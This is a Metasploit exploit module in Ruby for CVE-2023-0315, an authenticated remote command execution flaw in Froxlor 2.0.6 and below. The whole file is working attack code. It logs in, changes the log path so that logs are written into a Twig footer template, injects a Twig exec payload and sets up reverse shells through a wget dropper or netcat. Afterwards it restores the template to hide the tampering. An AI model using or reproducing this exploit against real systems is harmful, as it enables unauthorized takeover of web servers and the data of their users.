Froxlor 2.0.6 Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Froxlor Log Path RCE',        'Description' => %q{          Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path          to any directory on the OS level which the user www-data can write without restrictions from the backend which          leads to writing a malicious Twig template that the application will render. That will lead to achieving a          remote command execution under the user www-data.        },        'Author' => [          'Askar', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://shells.systems/author/askar/'],          [ 'CVE', '2023-0315']        ],        'License' => MSF_LICENSE,        'Platform' => 'linux',        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Linux ',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => ['wget'],              'Type' => :linux_dropper,              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_memory,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        },        'DisclosureDate' => '2023-01-29'      )    )    register_options(      [        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),        OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),        OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])      ]    )  end  def login    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'keep_cookies' => true,      'vars_post' => {        'loginname' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        'send' => 'send',        'dologin' => ''      }    )    if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')      send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, '/admin_index.php'),        'keep_cookies' => true      )      print_good('Successful login')      true    else      false    end  end  def check    begin      @authenticated = login    rescue InvalidRequest, InvalidResponse => e      return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")    end    version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, version_url),      'keep_cookies' => true    )    if res.nil? || res.code != 200      Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")    else      version = res.get_html_document.at('body/span/text()')      if version        if Rex::Version.new('2.0.6') >= Rex::Version.new(version)          Exploit::CheckCode::Appears("Vulnerable version found: #{version}")        end      else        Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")      end    end  end  def get_csrf_token(url)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, url),      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)    csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text    fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token    print_good("CSRF token is : #{csrf_token}")    csrf_token  end  def change_log_path(new_logfile)    mime = Rex::MIME::Message.new    mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')    mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')    mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')    mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')    mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')    mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')    mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')    mime.add_part('overview', nil, nil, 'form-data; name="page"')    mime.add_part('', nil, nil, 'form-data; name="action"')    mime.add_part('send', nil, nil, 'form-data; name="send"')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),      'vars_get' => { 'page' => 'overview', 'part' => 'logging' },      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{mime.bound}",      'data' => mime.to_s    )    if res && res.code == 200 && res.body.include?('The settings have been successfully saved')      return true    end    false  end  def execute_command(cmd, _opts = {})    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/admin_index.php'),      'keep_cookies' => true,      'vars_post' => {        'theme' => "{{['#{cmd}']|filter('exec')}}",        'csrf_token' => @csrf_token,        'page' => 'change_theme',        'send' => 'send',        'dosave' => ''      }    )    if res && res.code == 302 && res.headers['Location']      if res.headers['Location'] == 'admin_index.php'        print_good('Injected payload successfully')        print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")        change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")      end    else      print_error('did not inject payload successfully')    end  end  def exploit    fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login    @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')    if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      case target['Type']      when :unix_memory        execute_command(payload.encoded)      when :linux_dropper        execute_cmdstager      else        print_error('Please enter valid target')      end    else      fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')    end  end  def on_new_session(session)    super    # Original footer.html.twig file    footer_html_twig = <<~EOF      <footer class="text-center mb-3">              <span>                      <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>                      {% if install_mode is not defined  %}                              {% if (get_setting('admin.show_version_login') == '1'                                      and area == 'login') or (area != 'login'                                      and get_setting('admin.show_version_footer') == '1') %}                                      {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}                              {% endif %}                      {% endif %}                      &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>                      {% if install_mode is not defined %}                              {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}                              {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}                              {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}                      {% endif %}              </span>          {% if lng('translator') %}                      <br/>              <small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>          {% endif %}      </footer>    EOF    if session.type == 'meterpreter'      print_status('Deleting tampered footer.html.twig file')      filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"      session.fs.file.rm(filename)      fd = session.fs.file.new(filename, 'wb')      print_status('Rewriting clean footer.html.twig file')      fd.write(footer_html_twig)      fd.close    else      print_status('Cleaning tampered footer.html.twig file')      # Remove all log lines added to footer.html.twig by the exploit      # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)      session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")      session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")    end  endend